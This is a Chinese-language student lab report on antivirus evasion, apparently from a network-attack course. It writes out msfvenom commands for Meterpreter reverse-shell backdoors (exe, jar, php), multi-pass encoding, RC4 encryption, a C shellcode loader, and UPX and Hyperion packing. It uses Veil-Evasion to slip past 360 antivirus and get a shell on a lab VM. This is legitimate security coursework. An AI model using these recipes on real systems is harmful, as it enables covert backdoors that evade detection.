2019-2020-2 網絡對抗技術 20175205 Exp3 免殺原理與實踐
免殺原理及基礎問題回答
免殺原理
1、 一般是對惡意軟件做處理,讓他不被殺毒軟件所檢測。也是滲透測試中需要使用到的技術。
2、 要做好免殺,就需要清楚殺毒軟件(惡意軟件檢測工具)是如何工作的
3、 反過來也一樣,了解了免殺的工具和技術,你也就具有了反制它的基礎。
基礎問題回答
Q1: 殺軟是如何檢測出惡意代碼的?
A1: 殺軟檢測惡意代碼的方式有下列三種
- 基於特征碼的檢測
- 特征碼是一段或多段數據,如果一個可執行文件(或其他運行的庫、腳本等)包含這樣的數據則被認為是惡意代碼。
- AV軟件廠商要做的就是盡量搜集最全的、最新的特征碼庫。所以殺毒軟件的更新很重要。過時的特征碼庫就是沒有用的庫。
- 惡意軟件的檢測,並不是比對整個文件,而只能只其中一個或幾個片斷作為識別依據。
- 特征庫舉例——SNORT
- 啟發式惡意軟件檢測
- 根據片面特征去推斷(看起來像),通常缺乏精確判斷依據
- 不需要及時更新,具有通用型;但實時監控系統行為開銷稍大,沒有基於特征碼的精確度高
- 基於行為的惡意軟件檢測
- 基於行為的檢測相當於啟發式的一種,或者是加入了行為監控的啟發式
- 讓軟件運行,記錄其行為並分析(殺軟的工作原理)
Q2: 免殺是做什么?
A2: 通過使用一些手段,免殺就是讓安插在被控機器的惡意代碼不被殺毒軟件軟件發現。
Q3: 免殺的基本方法有哪些?
A3: 根據殺軟檢測惡意代碼的方式總結的技術有
- 改變特征碼(改變機器指令)
- 有EXE——加殼:壓縮殼、加密殼
- 有shellcode(像Meterpreter)——用encode進行編碼、基於playload重新編譯生成可執行文件
- 有源代碼——用其他語言進行重寫再編譯(veil-evasion)
- 改變行為
- 通訊方式:盡量使用反彈式連接、使用隧道技術、加密通訊數據
- 操作模式:基於內存操作、減少對系統的修改、加入混淆作用的正常功能代碼
實驗內容
任務一:正確使用msf編碼器、msfvenom生成如jar之類的其他文件、veil、加殼工具、使用C + shellcode編程、使用其他課堂未介紹方法
1、 免殺檢測
- 在實驗二中使用msf生成了后門程序,可以使用!VirusTotal或
這兩個網站對生成的后門程序進行掃描。
-
用VirusTotal掃描后結果如下:72款殺軟中58款報出了病毒,不加處理的后門程序能被大部分的殺軟檢測到

-
Msfvenom是Metasploit平台下用來編碼payloads免殺的工具。以Metaspliot的知名度和普及度,只要一有新編碼算法,AV廠家就會馬上加到特征庫。
-
2、 正確使用msf編碼器,生成exe文件
- 編碼后呢,按理論上講,編碼會降低檢出率,理論上講多編碼幾次,總會檢不出來。
- 一次編碼使用命令:
-e選擇編碼器,-b是payload中需要去除的字符,該命令中為了使'\x00'不出現在shellcode中,因為shellcode以'\x00'為結束符
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.62.16 LPORT=5205 -f exe > met-encoded.exe

- 十次編碼使用命令:
-i設置迭代次數
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.62.18 LPORT=5205 -f exe > met-encoded10.exe

-
將編碼十次后的可執行文件用360查殺,果然還是有問題

-
msfvenom會生成固定模板的exe文件,因此其具有一定特征,一般的AV廠商也會針對其模板生成特征碼來進行查殺。
-
下面第六步使用嵌入式shellcode,手動實現Shellcode的加載工作,只生成shellcode,而不是完整的可執行文件,這一個簡單的步驟,就可以降低VirusTotal的命中率
3、 msfvenom生成jar文件
- 生成java后門程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=5205 x > hy_backdoor_java.jar
-
生成文件如圖所示

-
使用360掃描結果如下

4、 msfvenom生成php文件
- 生成java后門程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=5205 x> 20175205_backdoor.php
-
生成文件如圖所示

-
使用VirusTotal掃描結果如下,這個明顯就少很多(用360查殺,已通過檢測)

5、 使用veil-evasion生成后門程序及檢測
-
用
sudo apt-get install veil-evasion命令安裝Veil,需要超級耐心,下載過程比較慢,而且會出現各種各樣的問題。。。(文末有相關問題及解決方法) -
一不小心成功的話,輸入
veil指令,進入如下個界面

-
用
use evasion命令進入Evil-Evasion

-
輸入命令
use c/meterpreter/rev_tcp.py進入配置界面

-
設置反彈連接IP,命令為:
set LHOST 192.168.62.22,注意此處的IP是虛擬機Kali的IP; -
設置端口,命令為:
set LPORT 5205

-
輸入
generate生成文件,接着輸入你想要playload的名字:veil_c_5205

-
如上圖所示,保存路徑為
/var/lib/veil/output/compiled/veil_c_5205.exe -
使用360檢測,果然還是會被檢查出來

6、 注入Shellcode並執行(嵌入式Shellcode)
-
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.22 LPORT=5205 -f c
用c語言生成一段shellcode;

-
創建一個文件
20175205.c,然后將unsigned char buf[]賦值到其中,代碼如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此處省略若干行
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";int main()
{
int (func)() = (int()())buf;
func();
}
-
使用命令:
i686-w64-mingw32-g++ 20175205.c -o 20175205.exe編譯這個.c文件為可執行文件

-
使用360掃描結果如下,開始沒問題,過了一兩分鍾才查殺,好像反應有點慢

-
使用VirusTotal卻檢測出很多問題

-
打開msfconsole,再在本機上打開20175205.exe,此時發現無法連接(但是在下面加殼過后就可以連接上了)
7、 加殼了解一下
加殼是對相應的資源進行壓縮,壓縮后仍可運行。
加殼的程序需要阻止外部程序或軟件對加殼程序本身的反匯編分析或者動態分析,以達到保護殼內原始程序以及軟件不被外部程序破壞,保證原始程序正常運行。
它可以用來保護版權,但同時許多病毒也利用它來作為原理。
-
使用壓縮殼(UPX)——減少應用體積,如ASPack,UPX
-
使用命令
upx 20175205.exe -o hy_upxed.exe給之前的20175205.exe加個殼得到hy_upxed.exe:

-
使用360掃描結果如下,竟然沒有問題

-
查看連接情況,可以反彈連接

-
-
加密殼Hyperion——版權保護,反跟蹤,如ASProtect,Armadillo
-
由於下一步是使用其他方法進行面殺,所以就直接把加壓縮殼后的文件直接再加加密殼。
-
將上一個生成的文件拷貝到
/usr/share/windows-binaries/hyperion/目錄中 -
進入目錄
/usr/share/windows-binaries/hyperion/中 -
輸入命令
wine hyperion.exe -v hy_upxed.exe hy_upxed_Hyperion.exe
進行加殼:


-
還是被360發現了。。

-
8、 要不試試加密??加密是一種能夠有效反擊反病毒軟件靜態掃描功能的方法,因為AV引擎不能立刻爆破它。
-
用msfvenom生成使用一個RC4加密的shellcode,用上述方法,編寫一個c程序,並生成exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.62.22 LPORT=5205 --encrypt rc4 --encrypt-key thisisakey -f c

-
使用360進行檢測(我發現360反應有點遲鈍,一開始檢測沒問題,等過一會才發現)

9、 試試其他的噻
-
使用Veil-Evasion的其他載荷生成后門
-
輸入命令
veil啟動, 用use evasion命令進入Evil-Evasion -
輸入
list查看其他可用的有效荷載

-
輸入命令
use 13,這里我選擇的是第13個載荷cs/shellcode_inject/virtual.py -
輸入option,查看有效荷載的選項

-
然后運行
generate生成有效載荷,我們選擇4帶有shellcode的有效載荷。這里會要求輸入本機的IP:192.168.62.22和該payload使用的端口,我們設置為5205端口

-
成功完成以上編譯后,編譯后的文件被保存在
/var/lib/veil/output/compiled/cs_Veil_5205.exe下 -
同時新生成的 shellcode 的 rc 文件也被保存在了
/var/lib/veil/output/handlers/cs_Veil_5205.rc下!既然有了rc文件,那么我們就可以方便的利用MSF 行調用了 -
進入該文件目錄下
cd /var/lib/veil/output/handlers/ -
使用命令
msfconsole -r cs_Veil_5205.rc

-
使用360查殺,並未發現異常,就說明哈哈哈哈哈,繞開了AV

-
在主機運行該exe程序,kali立馬監測到連接建立。輸入
sessions -i發現ID為3的連接建立 -
運行
sessions -i 3與ID為3的連接會話獲取靶機的shell -
這也太好玩了!!!超級刺激

任務二:通過組合應用各種技術實現惡意代碼免殺(如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。)
- 嵌入式Shellcode
- 手動實現Shellcode的加載工作,只生成shellcode,而不是完整的可執行文件,這一個簡單的步驟,就可以降低VirusTotal的命中率
- 使用msf生成一段shellcode
- 再將其寫入shellcode中
- 結合壓縮殼達到了初步免殺的目的
- 獲取主機shell


任務三:用另一電腦實測,在殺軟開啟的情況下,可運行並回連成功,注明電腦的殺軟名稱與版本
- 我使用了一台kali虛擬機作為控制端,和一台win7的虛擬機作為被控端
- 將msfvenom生成的shellcode,再壓縮可初步通過殺軟檢測。
- 殺軟使用的是360,版本為1.0.0.1051

實驗中遇到的問題
Q1:generate失敗

A1:沒有權限,使用sudo即可
Q2:就是安裝不了veil。。
A2:在小羅同學的指導下,我終於歷盡千辛萬苦下載好了,簡單的描述一下小羅告訴我的方法鴨
-
step1:apt-get install veil
-
step2:使用命令
cd /usr/share/veil/config/進入該文件夾,使用ls查看該文件夾的內容 -
step3:使用命令
vim setup.sh編輯文件,第251行把github倉庫改成碼雲的倉庫,https://gitee.com/spears/VeilDependencies.git

-
step4:命令行輸入
veil,所有安裝默認 -
step5:安裝過程有問題別慌,安裝結束后輸入veil,就會驚喜的發現弄好了!!!
實驗感想
哇,一次實驗比一次刺激,實驗二的時候還需要將一些殺軟關掉,才能獲得主機權限,這次實驗就更加實際貼近生活,通過各種各樣的方式避開殺軟獲得主機權限,我覺得下一步可以考慮如何將惡意代碼捆綁到普通軟件上,這樣會不會效果更好一點鴨。
做了實驗才發現,360有點坑,這好多惡意代碼殺軟都檢測不出來,所以平時要提高防范意識哦。
